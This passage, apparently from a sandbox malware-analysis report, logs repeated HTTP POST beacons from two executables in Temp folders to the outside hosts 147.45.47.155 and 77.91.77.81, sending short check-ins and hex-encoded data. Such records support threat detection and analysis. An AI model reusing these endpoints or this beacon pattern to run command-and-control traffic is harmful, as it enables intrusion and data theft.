Jun 20, 2024 15:38:36.212981939 CEST	154	OUT	POST /ku4Nor9/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 147.45.47.155 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jun 20, 2024 15:38:36.879158020 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 20 Jun 2024 13:38:36 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jun 20, 2024 15:38:36.879832983 CEST	308	OUT	POST /ku4Nor9/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 147.45.47.155 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 41 38 30 42 34 45 46 41 38 45 34 43 45 32 39 43 35 31 35 31 43 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 38 42 32 32 37 37 33 42 32 35 38 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58A80B4EFA8E4CE29C5151CB140BE1D46450FC9DDF642E3BDD70A78B22773B25882D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Jun 20, 2024 15:38:37.087337017 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 20 Jun 2024 13:38:36 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
36	192.168.2.5	49790	77.91.77.81	80	7592	C:\Users\user\AppData\Local\Temp\8254624243\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Jun 20, 2024 15:38:36.430958986 CEST	152	OUT	POST /Kiru9gu/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.81 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jun 20, 2024 15:38:37.190140009 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 20 Jun 2024 13:38:37 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jun 20, 2024 15:38:37.204691887 CEST	306	OUT	POST /Kiru9gu/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.81 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 45 32 42 38 43 41 39 46 30 45 44 37 34 41 41 46 46 41 44 45 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 39 46 38 41 45 34 35 43 38 46 41 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20ADE2B8CA9F0ED74AAFFADE24578B4B5647A288E7F81008DA96AE6C9F8AE45C8FAFD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Jun 20, 2024 15:38:37.439244986 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 20 Jun 2024 13:38:37 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
37	192.168.2.5	49791	147.45.47.155	80	2892	C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe

Timestamp	Bytes transferred	Direction	Data
Jun 20, 2024 15:38:37.217379093 CEST	154	OUT	POST /ku4Nor9/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 147.45.47.155 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jun 20, 2024 15:38:37.897125006 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 20 Jun 2024 13:38:37 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jun 20, 2024 15:38:37.897849083 CEST	308	OUT	POST /ku4Nor9/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 147.45.47.155 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 41 38 30 42 34 45 46 41 38 45 34 43 45 32 39 43 35 31 35 31 43 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 38 42 32 32 37 37 33 42 32 35 38 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58A80B4EFA8E4CE29C5151CB140BE1D46450FC9DDF642E3BDD70A78B22773B25882D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Jun 20, 2024 15:38:38.106065035 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 20 Jun 2024 13:38:38 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
38	192.168.2.5	49792	77.91.77.81	80	7592	C:\Users\user\AppData\Local\Temp\8254624243\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Jun 20, 2024 15:38:37.552244902 CEST	152	OUT	POST /Kiru9gu/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.81 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jun 20, 2024 15:38:38.257405996 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 20 Jun 2024 13:38:38 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jun 20, 2024 15:38:38.259191990 CEST	306	OUT	POST /Kiru9gu/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.81 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 45 32 42 38 43 41 39 46 30 45 44 37 34 41 41 46 46 41 44 45 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 39 46 38 41 45 34 35 43 38 46 41 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20ADE2B8CA9F0ED74AAFFADE24578B4B5647A288E7F81008DA96AE6C9F8AE45C8FAFD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Jun 20, 2024 15:38:38.480551958 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 20 Jun 2024 13:38:38 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
39	192.168.2.5	49794	147.45.47.155	80	2892	C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe

Timestamp	Bytes transferred	Direction	Data
Jun 20, 2024 15:38:38.224886894 CEST	154	OUT	POST /ku4Nor9/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 147.45.47.155 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jun 20, 2024 15:38:38.916353941 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 20 Jun 2024 13:38:38 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jun 20, 2024 15:38:38.948152065 CEST	308	OUT	POST /ku4Nor9/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 147.45.47.155 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 41 38 30 42 34 45 46 41 38 45 34 43 45 32 39 43 35 31 35 31 43 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 38 42 32 32 37 37 33 42 32 35 38 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58A80B4EFA8E4CE29C5151CB140BE1D46450FC9DDF642E3BDD70A78B22773B25882D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Jun 20, 2024 15:38:39.162703991 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 20 Jun 2024 13:38:39 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
40	192.168.2.5	49797	77.91.77.81	80	7592	C:\Users\user\AppData\Local\Temp\8254624243\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Jun 20, 2024 15:38:38.602498055 CEST	152	OUT	POST /Kiru9gu/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.81 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jun 20, 2024 15:38:39.317559004 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 20 Jun 2024 13:38:39 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jun 20, 2024 15:38:39.318181038 CEST	306	OUT	POST /Kiru9gu/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.81 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 45 32 42 38 43 41 39 46 30 45 44 37 34 41 41 46 46 41 44 45 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 39 46 38 41 45 34 35 43 38 46 41 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20ADE2B8CA9F0ED74AAFFADE24578B4B5647A288E7F81008DA96AE6C9F8AE45C8FAFD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Jun 20, 2024 15:38:39.541692019 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 20 Jun 2024 13:38:39 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
41	192.168.2.5	49800	147.45.47.155	80	2892	C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe

Timestamp	Bytes transferred	Direction	Data
Jun 20, 2024 15:38:39.273192883 CEST	154	OUT	POST /ku4Nor9/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 147.45.47.155 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jun 20, 2024 15:38:39.950690031 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 20 Jun 2024 13:38:39 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jun 20, 2024 15:38:39.951395035 CEST	308	OUT	POST /ku4Nor9/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 147.45.47.155 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 41 38 30 42 34 45 46 41 38 45 34 43 45 32 39 43 35 31 35 31 43 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 38 42 32 32 37 37 33 42 32 35 38 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58A80B4EFA8E4CE29C5151CB140BE1D46450FC9DDF642E3BDD70A78B22773B25882D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Jun 20, 2024 15:38:40.171624899 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 20 Jun 2024 13:38:40 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
42	192.168.2.5	49802	77.91.77.81	80	7592	C:\Users\user\AppData\Local\Temp\8254624243\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Jun 20, 2024 15:38:39.664649010 CEST	152	OUT	POST /Kiru9gu/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.81 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jun 20, 2024 15:38:40.353291035 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 20 Jun 2024 13:38:40 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jun 20, 2024 15:38:40.355411053 CEST	306	OUT	POST /Kiru9gu/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.81 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 45 32 42 38 43 41 39 46 30 45 44 37 34 41 41 46 46 41 44 45 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 39 46 38 41 45 34 35 43 38 46 41 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20ADE2B8CA9F0ED74AAFFADE24578B4B5647A288E7F81008DA96AE6C9F8AE45C8FAFD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Jun 20, 2024 15:38:40.574847937 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 20 Jun 2024 13:38:40 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
43	192.168.2.5	49804	147.45.47.155	80	2892	C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe

Timestamp	Bytes transferred	Direction	Data
Jun 20, 2024 15:38:40.289691925 CEST	154	OUT	POST /ku4Nor9/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 147.45.47.155 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jun 20, 2024 15:38:40.977081060 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 20 Jun 2024 13:38:40 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jun 20, 2024 15:38:40.982233047 CEST	308	OUT	POST /ku4Nor9/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 147.45.47.155 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 41 38 30 42 34 45 46 41 38 45 34 43 45 32 39 43 35 31 35 31 43 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 38 42 32 32 37 37 33 42 32 35 38 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58A80B4EFA8E4CE29C5151CB140BE1D46450FC9DDF642E3BDD70A78B22773B25882D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Jun 20, 2024 15:38:41.194062948 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 20 Jun 2024 13:38:41 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
44	192.168.2.5	49805	77.91.77.81	80	7592	C:\Users\user\AppData\Local\Temp\8254624243\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Jun 20, 2024 15:38:40.693013906 CEST	152	OUT	POST /Kiru9gu/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.81 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jun 20, 2024 15:38:41.382766962 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 20 Jun 2024 13:38:41 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jun 20, 2024 15:38:41.383550882 CEST	306	OUT	POST /Kiru9gu/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.81 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 45 32 42 38 43 41 39 46 30 45 44 37 34 41 41 46 46 41 44 45 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 39 46 38 41 45 34 35 43 38 46 41 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20ADE2B8CA9F0ED74AAFFADE24578B4B5647A288E7F81008DA96AE6C9F8AE45C8FAFD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Jun 20, 2024 15:38:41.619657993 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 20 Jun 2024 13:38:41 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
45	192.168.2.5	49806	147.45.47.155	80	2892	C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe

Timestamp	Bytes transferred	Direction	Data
Jun 20, 2024 15:38:41.306613922 CEST	154	OUT	POST /ku4Nor9/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 147.45.47.155 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jun 20, 2024 15:38:42.001732111 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 20 Jun 2024 13:38:41 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jun 20, 2024 15:38:42.002505064 CEST	308	OUT	POST /ku4Nor9/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 147.45.47.155 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 41 38 30 42 34 45 46 41 38 45 34 43 45 32 39 43 35 31 35 31 43 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 38 42 32 32 37 37 33 42 32 35 38 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58A80B4EFA8E4CE29C5151CB140BE1D46450FC9DDF642E3BDD70A78B22773B25882D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Jun 20, 2024 15:38:42.215348959 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 20 Jun 2024 13:38:42 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
46	192.168.2.5	49809	77.91.77.81	80	7592	C:\Users\user\AppData\Local\Temp\8254624243\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Jun 20, 2024 15:38:41.918530941 CEST	152	OUT	POST /Kiru9gu/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.81 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jun 20, 2024 15:38:42.528417110 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 20 Jun 2024 13:38:42 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jun 20, 2024 15:38:42.529129982 CEST	306	OUT	POST /Kiru9gu/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.81 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 45 32 42 38 43 41 39 46 30 45 44 37 34 41 41 46 46 41 44 45 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 39 46 38 41 45 34 35 43 38 46 41 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20ADE2B8CA9F0ED74AAFFADE24578B4B5647A288E7F81008DA96AE6C9F8AE45C8FAFD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Jun 20, 2024 15:38:42.743942022 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 20 Jun 2024 13:38:42 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
47	192.168.2.5	49813	147.45.47.155	80	2892	C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe

Timestamp	Bytes transferred	Direction	Data
Jun 20, 2024 15:38:42.333060026 CEST	154	OUT	POST /ku4Nor9/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 147.45.47.155 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jun 20, 2024 15:38:43.022844076 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 20 Jun 2024 13:38:42 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jun 20, 2024 15:38:43.023658037 CEST	308	OUT	POST /ku4Nor9/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 147.45.47.155 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 41 38 30 42 34 45 46 41 38 45 34 43 45 32 39 43 35 31 35 31 43 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 38 42 32 32 37 37 33 42 32 35 38 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58A80B4EFA8E4CE29C5151CB140BE1D46450FC9DDF642E3BDD70A78B22773B25882D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
